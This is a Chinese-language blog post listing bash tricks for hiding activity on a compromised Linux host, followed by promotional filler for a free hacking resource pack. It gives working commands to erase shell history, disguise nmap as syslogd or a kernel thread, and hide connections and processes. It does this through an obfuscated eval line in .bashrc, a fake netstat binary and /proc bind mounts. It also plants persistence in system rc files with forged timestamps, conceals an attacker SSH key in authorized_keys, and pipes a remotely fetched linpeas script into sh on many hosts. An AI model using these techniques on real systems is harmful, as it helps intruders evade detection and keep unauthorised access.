❝
Bash,即“Bourne Again SHell”,是Unix操作系统中流行的命令行界面和脚本语言。它是Bourne Shell(sh)的升级版。Bash提供了许多功能,如命令历史、作业控制和文件名补全,使其比其前身更加用户友好。
Shell通常是用户与操作系统交互的命令行界面,通过执行命令来实现。有多种Shell类型,包括Bash、sh、ash、bsh、csh、ksh、zsh、pdksh和tcsh,每种Shell都有其独特的特性和语法。Bash和Shell对于道德黑客、渗透测试人员和漏洞赏金猎人来说都是必不可少的工具,因为它们提供了一个强大的界面,用于执行命令、自动化任务和利用系统中的漏洞。
❞
1.1让 Bash 没有历史记录:
Bash 使用/dev/null而不是~/.bash_history。这是我们在每个 shell 上执行的第一个命令。它将阻止 Bash 记录您的命令。
export HISTFILE=/dev/null
unset SSH\_CONNECTION SSH\_CLIENT
(如果我们使用 SSH 登录,我们还会清除 SSH_* 变量。否则我们启动的任何进程都会在 /proc/self/environ 中获取 IP 的副本。)
退出 shell 时“kill”是很好的内务管理:
alias exit\='kill -9 $$'
任何以“”(空格)开头的命令也不会记录到历史记录中[1]。
$ id
1.2隐藏你的命令 / Daemonzie 你的命令
隐藏为“syslogd”。
(exec -a syslogd nmap -T0 10.0.2.1/24) \# Note the brackets '(' and ')'
启动后台隐藏进程:
(exec -a syslogd nmap -T0 10.0.2.1/24 &>nmap.log &)
在GNU 屏幕[2] 中启动:
screen -dmS MyName nmap -T0 10.0.2.1/24
#\## Attach back to the nmap process
screen -x MyName
或者,如果没有 Bash:
cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -T0 10.0.2.1/24
在此示例中,我们执行nmap,但让它以名称syslogd出现在ps alxwww进程列表中。
强哥给大家准备了全套的《网络安全入门+进阶学习资源包》共282G,可以扫描下方二维码或链接免费领取~
1.3隐藏您的命令行选项
使用zapper[3]:
\# Start Nmap but zap all options and show it as 'klog' in the process list:
./zapper -a klog nmap -T0 10.0.0.1/24
\# Same but started as a daemon:
(./zapper -a klog nmap -T0 10.0.0.1/24 &>nmap.log &)
\# Replace the existing shell with tmux (with 'exec').
\# Then start and hide tmux and all further processes - as some kernel process:
exec ./zapper -f -a'\[kworker/1:0-rcu\_gp\]' tmux
1.4隐藏网络连接
诀窍是劫持netstat并使用 grep 来过滤掉我们的连接。此示例过滤端口 31337或ip 1.2.3.4 上的任何连接。对于ss(netstat 替代方案)也应该做同样的事情。
方法 1 - 在 ~/.bashrc 中隐藏与 bash-function 的连接
剪切并粘贴此行以将行添加到 ~/.bashrc
echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \\
&& touch -r /etc/passwd ~/.bashrc
或者将其剪切并粘贴到 ~/.bashrc 中以混淆条目:
X='netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }'echo "eval \\$(echo $(echo "$X" | xxd -ps -c1024)|xxd -r -ps) #Initialize PRNG" >>~/.bashrc \\
&& touch -r /etc/passwd ~/.bashrc
~/.bashrc 的混淆条目将如下所示:
eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG
方法 2 - 隐藏与 $PATH 中的二进制文件的连接
在 /usr/local/sbin 中创建一个假的 netstat 二进制文件。在默认的 Debian(和大多数 Linux)上,PATH 变量 ( ) 在 /usr/bin之前echo $PATH列出 /usr/local/sbin 。这意味着我们的劫持二进制文件 /usr/local/sbin/netstat 将被执行,而不是 /usr/bin/netstat。
echo \-e "#! /bin/bash
exec /usr/bin/netstat \\"\\$@\\" | grep -Fv -e :22 -e 1.2.3.4" \>/usr/local/sbin/netstat \\
&& chmod 755 /usr/local/sbin/netstat \\
&& touch \-r /usr/bin/netstat /usr/local/sbin/netstat
1.5以用户身份隐藏进程
继续“隐藏连接”,可以使用相同的技术来隐藏进程。此示例隐藏了 nmap 进程,并通过将其重命名为 GREP 来确保我们的进程grep不会出现在进程列表中:
echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >>~/.bashrc \\
&& touch -r /etc/passwd ~/.bashrc
1.6以 root 身份隐藏进程
这需要 root 权限,并且是一个古老的 Linux 技巧,通过使用无用的目录过度安装 /proc/:
hide()
{
\[\[ -L /etc/mtab \]\] && { cp /etc/mtab /etc/mtab.bak; mv /etc/mtab.bak /etc/mtab; }
\_pid=${1:-$$}
\[\[ $\_pid =~ ^\[0-9\]+$ \]\] && { mount -n --bind /dev/shm /proc/$\_pid && echo "\[THC\] PID $\_pid is now hidden"; return; }
local \_argstr
for \_x in "${@:2}"; do \_argstr+=" '${\_x//\\'/\\'\\"\\'\\"\\'}'"; done
\[\[ $(bash -c "ps -o stat= -p \\$\\$") =~ \\+ \]\] || exec bash -c "mount -n --bind /dev/shm /proc/\\$\\$; exec \\"$1\\" $\_argstr"
bash -c "mount -n --bind /dev/shm /proc/\\$\\$; exec \\"$1\\" $\_argstr"
}
要隐藏命令,请使用:
hide \# Hides the current shell/PID
hide 31337 \# Hides process with pid 31337
hide sleep 1234 \# Hides 'sleep 1234'
hide nohup sleep 1234 &>/dev/null & \# Starts and hides 'sleep 1234' as a background process
1.7 隐藏 shell 脚本
上面我们讨论了如何混淆 ~/.bashrc 中的一行。一个经常使用的技巧是使用source替代。source 命令可以缩短为.(是的,一个点),它还会搜索 $PATH 变量以查找要加载的文件。
在此示例中,我们的脚本prng包含上面的所有 shell 函数。这些功能隐藏了nmap进程和网络连接。最后我们添加. prng到系统范围的 rc 文件中。这将prng在用户(和 root)登录时加载:
echo -e 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }
ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >/usr/bin/prng \\
&& echo ". prng #Initialize Pseudo Random Number Generator" >>/etc/bash.bashrc \\
&& touch -r /etc/ld.so.conf /usr/bin/prng /etc/bash.bashrc
(同样适用于lsof、ss和ls)
1.8 CAT
ANSI 转义字符或简单的\r(回车符[4])可用于隐藏cat其他人。
隐藏最后一个命令(例如id:)~/.bashrc:
echo -e "id #\\\\033\[2K\\\\033\[1A" >>~/.bashrc
#\## The ANSI escape sequence \\\\033\[2K erases the line. The next sequence \\\\033\[1A
#\## moves the cursor 1 line up.
#\## The '#' after the command 'id' is a comment and is needed so that bash still
#\## executes the 'id' but ignores the two ANSI escape sequences.
注意:我们使用echo -e转换\\033为 ANSI 转义字符(十六进制 0x1b)。
添加\r(回车符)对于隐藏您的 ssh 密钥有很大帮助cat:
echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\\r'"$(<authorized\_keys)" >authorized\_keys
\### This adds our key as the first key and 'cat authorized\_keys' wont show
\### it. The $'\\r' is a bash special to create a \\r (carriage return).
1.9 使用单独的日志文件并行执行*
并行扫描 20 个主机并将每个结果记录到单独的日志文件中:
\# hosts.txt contains a long list of hostnames or ip-addresses
cat hosts.txt | parallel -j20 'exec nmap -n -Pn -sCV -F --open {} >nmap\_{}.txt'
注意:该示例使用exec最后一个进程(nmap、gsexec)替换底层 shell。它是可选的,但会减少运行的 shell 二进制文件的数量。
使用 40 个工作线程在所有gsocket[5]主机上执行Linpeas :[6]
\# secrets.txt contains a long list of gsocket-secrets for each remote server.
cat secrets.txt | parallel -j40 'mkdir host\_{}; exec gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host\_{}/linpeas.log 2>host\_{}/linpeas.err'
注意:xargs -P20 -I{}这是另一种好方法,但它无法将每个输出记录到单独的文件中。
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取
👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程扫描领取哈)
👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦! (全套教程扫描领取哈)
👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
👉5.黑客必读书单👈
👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~